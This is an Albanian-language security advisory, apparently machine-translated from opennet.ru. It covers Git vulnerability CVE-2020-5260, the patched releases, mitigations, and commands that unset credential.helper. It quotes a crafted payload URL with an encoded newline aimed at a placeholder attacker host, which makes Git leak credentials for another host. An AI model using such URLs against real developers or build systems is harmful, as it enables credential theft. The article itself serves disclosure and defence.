Dobësia e rrjedhjes së kredencialeve Git

Publikuar lëshimet korrigjuese të sistemit të kontrollit të burimit të shpërndarë Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 dhe 2.17.4, në e cila eliminoi cenueshmëria (CVE-2020-5260) në mbajtësin "kredencial.ndihmës", gjë që bën që kredencialet të dërgohen te hosti i gabuar kur një klient git hyn në një depo duke përdorur një URL të formatuar posaçërisht që përmban një karakter të linjës së re. Dobësia mund të përdoret për të rregulluar që kredencialet nga një host tjetër të dërgohen në një server të kontrolluar nga sulmuesi.

Kur specifikoni një URL si "https://evil.com?%0ahost=github.com/", mbajtësi i kredencialeve kur lidhet me hostin evil.com do të kalojë parametrat e vërtetimit të specifikuar për github.com. Problemi ndodh kur kryeni operacione të tilla si "git clone", duke përfshirë përpunimin e URL-ve për nënmodulet (për shembull, "git submodule update" do të përpunojë automatikisht URL-të e specifikuara në skedarin .gitmodules nga depoja). Dobësia është më e rrezikshme në situatat kur një zhvillues klonon një depo pa parë URL-në, për shembull, kur punon me nënmodule, ose në sisteme që kryejnë veprime automatike, për shembull, në skriptet e ndërtimit të paketave.

Për të bllokuar dobësitë në versionet e reja është e ndaluar duke kaluar një karakter të linjës së re në çdo vlerë të transmetuar përmes protokollit të shkëmbimit të kredencialeve. Për shpërndarjet, mund të gjurmoni lëshimin e përditësimeve të paketave në faqe Debian, Ubuntu, RHEL, SUSE/openSUSE, Fedora, Hark, FreeBSD.

Si një zgjidhje për të bllokuar problemin rekomanduar Mos përdorni credential.helper kur hyni në depo publike dhe mos përdorni "git clone" në modalitetin "--recurse-submodules" me depo të pakontrolluara. Për të çaktivizuar plotësisht kontrolluesin credential.helper, gjë që e bën ruajtja dhe marrja e fjalëkalimeve nga cache, i mbrojtur qemeret ose një skedar me fjalëkalime, mund të përdorni komandat:

git config -- unset credential.helper
git config --global -- unset credential.helper
git config --system -- unset credential.helper

Burimi: opennet.ru

Shto një koment